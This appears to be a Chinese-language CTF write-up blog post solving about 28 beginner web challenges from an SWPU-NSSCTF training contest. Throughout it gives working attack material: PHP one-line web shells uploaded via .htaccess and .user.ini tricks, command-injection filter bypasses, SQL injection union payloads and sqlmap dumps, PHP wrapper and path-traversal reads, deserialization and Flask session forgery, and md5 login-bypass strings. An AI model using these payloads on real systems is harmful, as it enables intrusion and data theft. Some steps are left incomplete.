WEB (WEB)2025 SWPU-NSSCTF 秋季招新入门训练赛 ak GHSC 2025-09-21 2025-10-24 2025 SWPU-NSSCTF 秋季招新入门训练赛 作者:ghsc
1.gift_F12 簽到題!!!! 按F12
把WLLMCTF換成NSSCTF提交
2.Do_you_know_http
要用bp抓包 , 可以看到出現了 Please use ‘WLLM’ browser! 在bp上開啟Repeater , 然後把包中的Uesr-Agent 方式改成WLLM
Send後服務器返回了./a.php , 可以把/hello.php 改成a.php 再Send
要在本地才可以read , 所以在包中加入 X-Forwarded-For:127.0.0.1
返回了一個/secretttt.php , 再來把a.php 改成 secretttt.php ,得出flag
3.WebFTP
使用kali 中的dirsearch 扫描 , 在kali 中打入
1 dirsearch python.py -u http://node7.anna.nssctf.cn:29562/?m=login&a=in
存在git泄露 , 使用GitHack 下載克隆目录
1 python2 GitHack.py http://node7.anna.nssctf.cn:29562/?m=login&a=in/.git
空仓库。。。。。。。。。。
最後在phpinfo.php中找到了flag 。。
4.jicao 这道题是一个php代码审计题目
1 2 3 4 5 6 7 8 <?php highlight_file ('index.php' );include ("flag.php" );$id=$_POST['id' ]; $json=json_decode ($_GET['json' ],true ); if ($id=="wllmNB" &&$json['x' ]=="wllm" ){echo $flag;} ?>
使用HackBar , POST 方法是 id = wllmNB , GET 方法是 json = {“x”:”wllm”} (這是json 的GET方式)
5.easyupload1.0
把一句話木馬upload 上去 , 然後用BP攔下包轉去Repeater ../.
一句話木馬:
1 2 BM <script language="php" > @eval ($_POST['bhxdn' ]); phpinfo ();</script>
把 filename 由jpg 改成 php 然後發送
發送成功 , 在./upload/xiaoma.php 下 , 可以看見是觸發了木馬的
然後可以開antsword add URL
可以回到html下找到flag
flag 為????????? WLLMCTF{I_d0nt_w4nna_wak3up} ???????,記得把前頭改成 NSSCTF{…}
可是flag不正確。。。。。。。。。。。。。。在根目錄都沒有
在根目錄下打開cmd 打:
就有
原來flag在這FLAG=NSSCTF{58c4de5b-6a3f-4dbc-8332-16ad44d25a11}
6.easyupload2.0 這一次的過濾是在後台的,所以我要想辦法去做一個php後綴繞過, 我用了deepseek寫了一個字典
,先去抓包送去Intruder
把JPG$為payload 并插入字典,開始爆破 , 看看Length 427 的Response 是成功的 , 進去看看
查一下flag的位子,得出 flag : NSSCTF{9f5d5750-9a19-48c1-b41f-51d2db3e66a5}
7.easyupload3.0 利用.htaccess进行绕过
.htaccess 是一个用于配置 Apache web 服务器的分布式配置文件,全称为 Hypertext Access(超文本访问)。它允许网站管理员在不修改服务器主配置文件(如 httpd.conf)的情况下,对特定目录及其子目录的服务器行为进行设置,具有灵活性高、针对性强的特点。 .htaccess 的核心作用 .htaccess 文件主要用于覆盖 Apache 主配置中的默认规则,实现对目录级别的精细化控制,常见功能包括:
URL 重写(如将动态 URL 转换为静态友好的形式)。 访问控制(限制特定 IP 或用户访问)。 自定义错误页面(如 404、500 错误页)。 缓存设置(控制浏览器或服务器缓存策略)。 实现 HTTPS 强制跳转。 文件类型关联(如设置特定扩展名的 MIME 类型)等。
1 2 3 4 5 6 7 <FilesMatch "xiaoma.jpg" > SetHandler application/x-httpd-php</FilesMatch > # SetHandler 指令强制指定文件的处理程序 # 这里将 "xiaoma.jpg" 交给 PHP 处理器(application/x-httpd-php)处理 # 即服务器会把这个图片文件当作 PHP 脚本执行,而非直接返回图片内容
先抓個包先 , 上傳一句話木馬.jpg
試試用爆破一下
最後只有htaccess成功 , 現在傳入.htaccess 腳本
在/upload 看看 。
的確是執行了phpinfo.php
NSSCTF{6b9d4421-ffc6-4432-b2d8-9f4b8e88c96c}
8.finalrce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__);if (isset ($_GET['url' ])){ $url=$_GET['url' ]; if (preg_match ('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i' ,$url)) { echo "Sorry,you can't use this." ; } else { echo "Can you see anything?" ; exec ($url); } }
(1)這裡的代碼說明GET url 不能是 “bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|-|*|"|>|<|%|$/i “
(2) exec() 沒有回顯 ,
exec()
原型:string exec ( string $command [, array &$output [, int &$return_var ]] )
说明:
第一个参数, $command 是要执行的命令,例如: “ls -l”
第二个参数,$output 是command执行输出的结果,以数组格式存储
第三个参数,$return_var,用于保存command执行状态,0 - 成功,非零 - 失败
返回值,为command执行结果的最后一行
可參考這篇文章:
https://blog.csdn.net/afei__/article/details/81901296
tee命令:Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
管道符号 |(竖线)表示将前一个命令的输出”传递”给下一个命令作为输入。
開啟hackbar 打出 ? url = l\s / | tee test.txt , 然後 /test.txt 可看見
有兩個像是flag的東西 a_here_is_a_f1ag 和 flllllaaaaaaggggggg ,
1 .../?url=tac /flllll\aaaaaaggggggg | tee 1. txt
使用转义符可繞過檢測
然後 /1.txt 可看見
NSSCTF{2b9d7dde-7f03-4a7f-9664-8a623ff22553}
9. PseudoProtocols https://blog.csdn.net/IDHALASHAO/article/details/130368938
PHP伪协议
可以用
以base64encode 形式去輸出
base64 解碼為:
進入後發現php代碼
1 2 3 4 5 6 7 8 9 10 <?php ini_set ("max_execution_time" , "180" );show_source (__FILE__ );include ('flag.php' );$a = $_GET ["a" ];if (isset ($a )&&(file_get_contents ($a ,'r' )) === 'I want flag' ){ echo "success\n" ; echo $flag ; } ?>
可知GET isset(a) (a存在) 和 file_get_contents(a,’r’)要嚴格 = ‘I want flag’ , 可以使用phph伪协议 用data://
1 .../....php?a=data://text/plain,I want flag
還可以用base64
1 .../....php?a=data://text/plain;base64,SSB3YW50IGZsYWc=
10.ez_ez_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (isset ($_GET ['file' ])) { if ( substr ($_GET ["file" ], 0 , 3 ) === "php" ) { echo "Nice!!!" ; include ($_GET ["file" ]); } else { echo "Hacker!!" ; } }else { highlight_file (__FILE__ ); }
試一試/flag.php
看來要用php伪协议
php伪协议
php://filter/ 读取包含php代码文件内容需要进行某种编码进行输出,不然会当作php代码执行就无法查看文章内容
利用条件
allow_url_fopen :off/on
allow_url_include:off/on
payload 1 php://filter/read=convert.base64-encode/resource=file
payload分析
php://filter/ :这是一个 PHP 的流封装器,用于在读写数据时提供过滤功能。
read=convert.base64-encode/ :这里指定了一个过滤器,告诉 PHP 在读取数据之前将其进行 base64 编码。convert.base64-encode是一个 PHP 内置的过滤器,用于将数据转换为 base64 编码
resource=file :这部分指定了要操作的资源。在这个例子中,file表示我们希望对一个文件进行操作,具体来说是对文件的内容进行 base64 编码读取
再改一改
1 .../?file=php://filter/read=convert.base64-encode/resource=flag
NSSCTF{5c686f83-3496-45b9-9d79-58172f39fb9c}
11.babyRCE 1 2 3 4 5 6 7 8 9 10 11 12 <?php $rce = $_GET ['rce' ];if (isset ($rce )) { if (!preg_match ("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i" , $rce )) { system ($rce ); }else { echo "hhhhhhacker!!!" ."\n" ; } } else { highlight_file (__FILE__ ); }
沒有ls 可以?rce=ls , 如下
可是空格被ban了 可惡啊
看來可以用
过滤
1 /?rce=rev$IFS./fl\ag.php
rev一下
NSSCTF{0b67ab0f-36eb-4b7a-b2ec-bcd591f56063}
12.导弹迷踪 這不實力嗎(bushi~~
看看有沒有向服務器發包 ,好像沒有
說明不能抓包, 只好看看源代碼了, 最後在game.js找到了
13.caidao 一看就知道是fuzz了, 蟻劍啟動!!!!! wllm為密碼
最後在根目錄找到flag
## 14.easy_sql
可以看見參數是wllm 在url?wllm=1後
先打開sqlmap ,先查本查是否有注入漏洞
1 sqlmap -u http://node7.anna.nssctf.cn:24766/?wllm=1 --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 --- Parameter: wllm (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: wllm=1' AND 3264=3264 AND 'PvdX'='PvdX Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: wllm=1' AND (SELECT 2246 FROM(SELECT COUNT(*),CONCAT(0x7176766271,(SELECT (ELT(2246=2246,1))),0x716b626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'tWnq'='tWnq Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: wllm=1' AND (SELECT 5627 FROM (SELECT(SLEEP(5)))KQyT) AND 'LObx'='LObx Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: wllm=-8611' UNION ALL SELECT NULL,CONCAT(0x7176766271,0x707a4e734470455a694f714c5377426f56435a6d4447567979594750585254684a71435578684644,0x716b626271),NULL-- - ---
用sqlmap爆庫:
1 sqlmap -u http://node7.anna.nssctf.cn:24766/?wllm=1 --dbs --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1 2 3 4 5 6 available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] test [*] test_db
爆table:
1 sqlmap -u http://node7.anna.nssctf.cn:24766/?wllm=1 -D test_db --tables --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1 2 3 4 5 6 Database: test_db [2 tables] +---------+ | test_tb | | users | +---------+
看看 test_tb的內容 :
1 sqlmap -u http://node7.anna.nssctf.cn:24766/?wllm=1 -D test_db --dump --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1 2 3 4 5 6 7 8 Database: test_db Table: test_tb [1 entry] +----+----------------------------------------------+ | id | flag | +----+----------------------------------------------+ | 1 | NSSCTF{ca97d725-34c3-4a69-b0b9-21a28907ed9f} | +----+----------------------------------------------+
15.hardrce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php header ("Content-Type:text/html;charset=utf-8" );error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['wllm' ])){ $wllm = $_GET ['wllm' ]; $blacklist = [' ' ,'\t' ,'\r' ,'\n' ,'\+' ,'\[' ,'\^' ,'\]' ,'\"' ,'\-' ,'\$' ,'\*' ,'\?' ,'\<' ,'\>' ,'\=' ,'\`' ,]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $wllm )) { die ("LTLT说不能用这些奇奇怪怪的符号哦!" ); }} if (preg_match ('/[a-zA-Z]/is' ,$wllm )){ die ("Ra's Al Ghul说不能用字母哦!" ); } echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?" ;eval ($wllm );} else { echo "蔡总说:注意审题!!!" ; } ?> 蔡总说:注意审题!!!
可以看到eval($wllm); 是我們的攻擊點 , 目標是eval(system(“ls”)) ;
注意code 中有blacklist = [‘ ‘,’\t’,’\r’,’\n’,’+‘,’[‘,’^‘,’]‘,’"‘,’-‘,’$‘,’*‘,’?‘,’<‘,’>‘,’=‘,’`‘,];
還不能用英文 preg_match(‘/[a-zA-Z]/is’,$wllm)
那我們先打開fuzzshell 生成爆破字典
打開BP去爆破
ls 只有index.php
再看看根目錄
有一個flllllaaaaaaggggggg文件 , 剛剛試了試cd flllllaaaaaaggggggg沒成功 , 應該是txt文件 , 打開fuzzshell system(“cd /flllllaaaaaaggggggg”) 去重
BP爆破一下 ,
16.sql http://node4.anna.nssctf.cn:28194/?wllm=1
1 2 sqlmap -u http://node4.anna.nssctf.cn:28194/?wllm=1 --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch sqlmap -u http://node4.anna.nssctf.cn:28194/?wllm=1 --dbs --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 --- Parameter: wllm (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: wllm=1' AND 4783=4783 AND 'DgVI'='DgVI Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: wllm=1' AND (SELECT 3858 FROM(SELECT COUNT(*),CONCAT(0x716b716b71,(SELECT (ELT(3858=3858,1))),0x7170766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'jyRE'='jyRE Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: wllm=1' AND (SELECT 2372 FROM (SELECT(SLEEP(5)))FzLh) AND 'HGWW'='HGWW Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: wllm=-4416' UNION ALL SELECT NULL,NULL,CONCAT(0x716b716b71,0x4d46505569644a6c594c556f656e6c726f706b4d484b6c79586c7574617a6e6b6559774368484f61,0x7170766271)-- - ---
1 2 3 4 5 6 available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] test [*] test_db
查找字段数时,提示请勿非法操作
说明空格出现过滤,可以用/**/绕过
1 2 3 ?wllm=1%27/**/order/**/by/**/4%23 Unknown column '4' in 'order clause'
沒有4字段数为3
1 ?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=datbase()%23
看來還有过滤 =
1 ?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=datbase()%23
使用like代替=
1 ?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like(database())%23
查看LTLT_flag
1 ?wllm=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like(%22LTLT_flag%22)%23
1 ?wllm=-1'union/**/select/**/1,group_concat(id,flag),3/**/from/**/LTLT_flag%23
flag1 : NSSCTF{cf9ffc45-7a1
strlen(string)有20個字符
1 ?wllm=-1'union/**/select/**/1,group_concat(id,flag),3/**/from/**/LTLT_flag%23
在group_concat 加一個mid(group_concat(column_name), 起始位置, 长度)
mid(……..,21,40)
1 ?wllm=-1%27union/**/select/**/1,mid(group_concat(id,flag),21,40),3/**/from/**/LTLT_flag%23
flag2 : 7-4e7a-b6d8-10ff2ead
41 - 60
db58}
flag : NSSCTF{cf9ffc45-7a17-4e7a-b6d8-10ff2eaddb58}
17.babyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );include_once ('flag.php' );if (isset ($_POST ['a' ])&&!preg_match ('/[0-9]/' ,$_POST ['a' ])&&intval ($_POST ['a' ])){ if (isset ($_POST ['b1' ])&&$_POST ['b2' ]){ if ($_POST ['b1' ]!=$_POST ['b2' ]&&md5 ($_POST ['b1' ])===md5 ($_POST ['b2' ])){ if ($_POST ['c1' ]!=$_POST ['c2' ]&&is_string ($_POST ['c1' ])&&is_string ($_POST ['c2' ])&&md5 ($_POST ['c1' ])==md5 ($_POST ['c2' ])){ echo $flag ; }else { echo "yee" ; } }else { echo "nop" ; } }else { echo "go on" ; } }else { echo "let's get some php" ; } ?>
post 一個 a不可以是數字 , 但是一個數字
post 兩個 b1 b2 md5值一樣
post 兩個 c1 c2兩字符串不相等, md5值一樣
a可以用數組繞過 a[]=1
b1 b2 都可以用數組繞過 方法二:使用数组绕过(更简单)
如果PHP版本允许,可以尝试:
b1[]=1&b2[]=2 // NULL === NULL
c1 , c2: md5相同值文件選一個 (0e繞過) ==
1 2 s878926199a ->0e545993274517709034328855841020 s155964671a ->0e342768416822451524974117254469
18.奇妙的MD5 兩神奇的字符串 0e215962017 md5加密後 : 0e291242476940776845150308577824
ffifdyop md5加密後:** 276f722736c95d99e921722cf9ed621c** , from hex 後是** ‘or’6É]é!r,ùíb**
ffifdyop是萬能密碼
抓個包看看
hint: select * from ‘admin’ where password=md5($pass,true)
要填寫萬能密碼: ffifdyop
1 2 3 4 5 6 <!-- $x= $GET['x']; $y = $_GET['y']; if($x != $y && md5($x) == md5($y)){ ; -->
(0e繞過)
1 2 s878926199a ->0e545993274517709034328855841020 s155964671a ->0e342768416822451524974117254469
数组绕过
19.高亮主题(划掉)背景查看器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php if (isset ($_GET ['url' ])) { $file = $_GET ['url' ]; if (strpos ($file , '..' ) === false ) { include $file ; } else { echo "Access denied." ; } } else { echo "No file specified." ; } ?>
dirsearch一下
[02:08:34] 200 - 11B - /flag , 試一試有了一個提示
flag在根目錄下
在url下不能/../../../.. , 代碼有說明 , 那BP抓一下包
在切換主題時發現有POST 傳參 theme =
試一試/flag
不在這目錄下, ..一下
再../../……………….
theme=../../../../../flag 成功拿到flag
20.flask?jwt?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns ="http://www.w3.org/1999/xhtml" > <head > <meta http-equiv ="Content-Type" content ="text/html; charset=UTF-8" > <title > 忘记密码</title > <link type ="text/css" rel ="stylesheet" href ="/static/css/password.css" > <script type ="text/javascript" src ="/static/js/jquery-1.11.1.min.js" > </script > <script type ="text/javascript" > $(document ).ready (function ( ) { var height=$(document ).height (); $('.main' ).css ('height' ,height); }) </script > </head > <body > <div class ="main" style ="height: 919px;" > <div class ="main0" > <div class ="formBox" > <form action ="" method ="post" > <h3 > 登录密码重置</h3 > <ul > <li class ="mainCol firLi" > > 身份验证</li > <li > > 登录密码重置</li > <li class ="lastLi" > > 重置完成</li > </ul > <img src ="/static/img/line.png" > <div class ="itembox" > <label > 邮箱号 :</label > <input type ="text" placeholder ="请输入注册邮箱号" name ="email" > </div > <div class ="btnBox" > <button type ="submit" > 发送重置密码邮件</button > </div > </form > </div > </div > <div class ="footer" > <div class ="footer0" > <div class ="footer_l" > 使用条款 | 隐私保护</div > <div class ="footer_r" > <span > © C4skg</span > <span > 有问题请发送邮件至 adm1n@flag.com </span > </div > </div > </div > </div > <script > </script > </body > </html >
session偽造 th3f1askisfunny , 這個可能是session偽造
注冊一下 , 12345 12345
session = .eJwlzjEOwzAIAMC_MHcA45iQz0RgQO2aNFPVvzdS15vuA3sdeT5hex9XPmB_BWxgKjisLcamKZJCqMzdJMdcBiNjriJ9jhvQq1OvSeqZNTNDKCWKptXqohWdGV3QGuOK6BQR1I1akhZaoYyomqjqptrJl4Q7cp15_DcNvj_Owi_0.aOiRBw.bgLfdWhJg0-721Y0mDQlFm8j0gM
下載: https://github.com/noraj/flask-session-cookie-manager
我要用Ubuntu 才可以conda (web_env)
1 2 3 python3 flask_session_cookie_manager3.py decode -c ".eJwlzjEOwzAIAMC_MHcA45iQz0RgQO2aNFPVvzdS15vuA3sdeT5hex9XPmB_BWxgKjisLcamKZJCqMzdJMdcBiNjriJ9jhvQq1OvSeqZNTNDKCWKptXqohWdGV3QGuOK6BQR1I1akhZaoYyomqjqptrJl4Q7cp15_DcNvj_Owi_0.aOiRBw.bgLfdWhJg0-721Y0mDQlFm8j0gM" -s "th3f1askisfunny" {'_fresh': True, '_id': 'a9706a25a3a9e77e7109334a7e6c563030e8774c67e60bf414fc19beefceed71e7df1caf8b79fd4330b70a230800b1ddd14a12e19f0af076dffc099ba9941b5e', '_user_id': '2'}
合理猜測id = 1
1 {'_fresh': True, '_id': 'a9706a25a3a9e77e7109334a7e6c563030e8774c67e60bf414fc19beefceed71e7df1caf8b79fd4330b70a230800b1ddd14a12e19f0af076dffc099ba9941b5e', '_user_id': '1'}
1 2 3 4 5 python3 flask_session_cookie_manager3.py encode -s "th3f1 askisfunny" -t " {'_fresh': True, '_id': 'a9706a25a3a9e77e7109334a7e6c563030e8774c67e60bf414fc19beefceed71e7df1caf8b79fd 4330b70a230800b1ddd14a12e19f0af076dffc099ba9941b5e', '_user_id': '1'}" .eJwlzjEOwzAIAMC_MHeAYJuQz0RgQO2aNFPVvzdS15vuA3sdeT5hex9XPmB_BWxgKjhs6camKZJCqMzNJMfsg5ExV5E2xw3o1ajVJPXMmpkhlBJF02p10YrGjC5oC-OK6BQR1IyWJC20QhlRNVHVTbWR94Q7cp15_DcE3x_Ovy_z.aOiklg.8mo1XmLqTIj-6RuRxvgu7__4Y-g
21.ez_SSTI 在kali安裝fenjing :
pip install fenjing -i https://pypi.tuna.tsinghua.edu.cn/simple
輸入參數開始爆破
22.easy_unser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php include 'f14g.php' ; error_reporting (0 ); highlight_file (__FILE__ ); class body { private $want ,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind" ; public function __construct ($want ) { $About_me = "When the object is created,I will be called" ; if ($want !== " " ) $this ->want = $want ; else $this ->want = $this ->todonothing; } function __wakeup ( ) { $About_me = "When the object is unserialized,I will be called" ; $but = "I can CHANGE you" ; $this -> want = $but ; echo "C1ybaby!" ; } function __destruct ( ) { $About_me = "I'm the final function,when the object is destroyed,I will be called" ; echo "So,let me see if you can get what you want\n" ; if ($this ->todonothing === $this ->want) die ("鲍勃,别傻愣着!\n" ); if ($this ->want == "I can CHANGE you" ) die ("You are not you...." ); if ($this ->want == "f14g.php" OR is_file ($this ->want)){ die ("You want my heart?No way!\n" ); }else { echo "You got it!" ; highlight_file ($this ->want); } } } class unserializeorder { public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>" ; function __sleep ( ) { $About_me = "When the object is serialized,I will be called" ; echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>" ; } function __toString ( ) { $About_me = "When the object is used as a string,I will be called" ; return $this ->CORE; } } $obj = new unserializeorder (); echo $obj ; $obj = serialize ($obj ); if (isset ($_GET ['ywant' ])) { $ywant = @unserialize (@$_GET ['ywant' ]); echo $ywant ; } ?> 人类最大的敌人,就是无序. Yahi param vaastavikta hai! We Come To HNCTF,Enjoy the ser14l1zti0n
反序列化 是将 PHP 对象转换为字符串的过程,可以使用 serialize() 函数来实现。该函数将对象的状态以及它的类名和属性值编码为一个字符串。序列化后的字符串可以存储在文件中,存储在数据库中,或者通过网络传输到其他地方。
https://www.bilibili.com/video/BV1GN4y1c7ut/?spm_id_from=333.337.search-card.all.click&vd_source=b128d59725d91ecef706ce0b01795a8f
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class body { private $want ,$todonothing = "" ; public function __construct ($want ) { $About_me = "When the object is created,I will be called" ; if ($want !== " " ) $this ->want = $want ; else $this ->want = $this ->todonothing; } } $f = "php://filter/convert.base64-encode/resource=f14g.php" ;$a = new body ($f );$b = serialize ($a );$c = preg_replace ("/:2:{/" ,":3:{" ,$b );echo urlencode ($c );?>
23.看看ip
IP是线索
加一個X-Forwarded-For
是{{}} 模板注入
24.怎么多了个没用的php文件
可以看見在uploads文件夾下有, 個notion.php
蚁剑 fuzz
服务器是 nginx ,所以无法使用 htaccess(超文件)
Apache 的 .htaccess 机制
分布式配置:Apache 被设计为允许在每个目录下放置一个 .htaccess 文件。
运行时读取:当收到一个请求时,Apache 会从网站根目录开始,一路向上查找并解析每一级目录下的 .htaccess 文件,然后实时应用其中的规则。
优点:方便共享主机用户在不接触主配置文件的情况下修改配置。
缺点:性能有开销,因为每个请求都可能要读取多个文件。
Nginx 的配置
集中式配置:Nginx 没有类似 .htaccess 的机制。它的所有配置都集中在一个主配置文件(通常是 nginx.conf)以及通过 include 指令引入的其他配置文件中。
启动时加载:Nginx 在启动或重载时,会一次性读取并编译所有配置,形成一个高效的配置树。
优点:性能极高,因为处理请求时不需要再去文件系统里查找和解析额外的配置文件。
缺点:用户必须能访问服务器配置文件,或者在 server 块内拥有写入权限(例如通过控制面板)
寫一下: auto_prepend_file = 1.png
改成.user.ini文件
用BP抓包 , 上傳ini文件
1 2 3 4 5 6 .user.ini auto_prepend_file=xxx 表示在文件頭包含 auto_append_file=xxx 表示在文件尾包含 auto_prepend_file=1.jpg
.user.ini文件是一種日志包含 , 然後在訪問的時候ua加上一句話, 再上傳一個php文件來進行一個包含。
再上傳一句話木馬 1.jpg
1 2 3 4 <?php @eval ($_POST ["123" ]);phpinfo (); ?>
可以知道notion.php包含了上面的代碼, 用notion.php連線:
NSSCTF{213a5655-425e-4ac9-b0bd-32f9e6ea9af4}
25.UploadBaby 可恶的前端,不让我传word 马,把你扬了就老实了
http://node6.anna.nssctf.cn:29933/uploads/1.php
26.ez_sql
相对安全的方式传参?????
判断列数先
双写命令绕过:
列数为3
判断显示位
尝试查看第二行
查询数据库名
1 -1'/**/ununionion/**/select/**/1,database(),(select/**/group_concat(schema_name)/**/from/**/infoorrmation_schema.schemata)/**/limit/**/1,1#
查询表名
1 -1'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1#
查询表内字段名
1 -1'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#
查询字段内容
1 -1'/**/ununionion/**/select/**/1,database(),group_concat(id,Secr3t,flll444g)/**/from/**/NSS_tb/**/limit/**/1,1#
27.这是什么?SQL !注一下 !
可以看見sql代碼
1 2 3 4 5 <?php $sql = "SELECT username,password FROM users WHERE id = " .'((((((' .$_GET ["id" ].'))))))' ;$result = $conn ->query ($sql );
輸入一個1可以看到
推断是两个字段 :
username = tanji password = OHHHHHHH
select 一下
1 1 )))))) union select 1 ,2
1 -1 )))))) union select database(),2
所有数据库名:
1 -1 )))))) union select group_concat(schema_name),2 from information_schema.schemata
ctf的表名:
1 -1 )))))) union select group_concat(table_name),2 from information_schema.tables where table_schema= 'ctf'
查users表中的字段名:
1 -1 )))))) union select group_concat(column_name),2 from information_schema.columns where table_schema= 'ctf' and table_name= 'users' #
查users表中数据:
0x7e = ~ (波浪號)十六進制編碼
1 -1 )))))) union select group_concat(id,0x7e ,username,0x7e ,password),2 from users #
再看其他数据库,还有一个ctftraining数据库:
1 -1 )))))) union select group_concat(table_name),2 from information_schema.tables where table_schema= 'ctftraining' #
先查flag表的字段:
1 -1 )))))) union select group_concat(column_name),2 from information_schema.columns where table_schema= 'ctftraining' and table_name= 'flag' #
1 -1 )))))) union select flag,2 from ctftraining.flag #
28.理想国 給了一個json檔:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 { "swagger": "2.0", "info": { "description": "Interface API Documentation", "version": "1.1", "title": "Interface API" }, "paths": { "/api-base/v0/register": { "post": { "consumes": [ "application/json" ], "summary": "User Registration API", "description": "Used for user registration", "parameters": [ { "username": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/UserRegistration" } }, { "password": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/UserRegistration" } } ], "responses": { "200": { "description": "success" }, "400": { "description": "Invalid request parameters" }, "401": { "description": "Your wisdom is not sufficient to be called a sage" } } } }, "/api-base/v0/login": { "post": { "consumes": [ "application/json" ], "summary": "User Login API", "description": "Used for user login", "parameters": [ { "username": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/UserLogin" } }, { "password": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/UserLogin" } } ], "responses": { "200": { "description": "success" }, "400": { "description": "Invalid request parameters" } } } }, "/api-base/v0/search": { "get": { "summary": "Information Query API", "description": "Used to query information", "parameters": [ { "name": "file", "in": "query", "required": true, "type": "string" } ], "responses": { "200": { "description": "success" }, "400": { "description": "Invalid request parameters" }, "401": { "description": "Unauthorized" }, "404": { "description": "File not found" } }, "security": [ { "TokenAuth": [] } ] } }, "/api-base/v0/logout": { "get": { "summary": "Logout API", "description": "Used for user logout", "responses": { "200": { "description": "success" }, "401": { "description": "Unauthorized" } }, "security": [ { "TokenAuth": [] } ] } } }, "definitions": { "UserRegistration": { "type": "object", "properties": { "username": { "type": "string" }, "password": { "type": "string" } } }, "UserLogin": { "type": "object", "properties": { "username": { "type": "string" }, "password": { "type": "string" } } } }, "securityDefinitions": { "TokenAuth": { "type": "apiKey", "name": "Authorization", "in": "header" } }, "security": [ { "TokenAuth": [] } ] }
不會看, 拋給D老師分析了一下:
主要組成部分 基礎資訊 API 版本:Swagger 2.0
標題:Interface API
版本:1.1
描述:介面 API 文檔
API 端點分析 🔐 認證相關端點 POST /api-base/v0/register - 用戶註冊
需要 username 和 password
響應:200成功, 400參數錯誤, 401權限不足
POST /api-base/v0/login - 用戶登入
需要 username 和 password
響應:200成功, 400參數錯誤
🔍 資料查詢端點 GET /api-base/v0/search - 資訊查詢
需要 file 查詢參數
需要 Token 認證
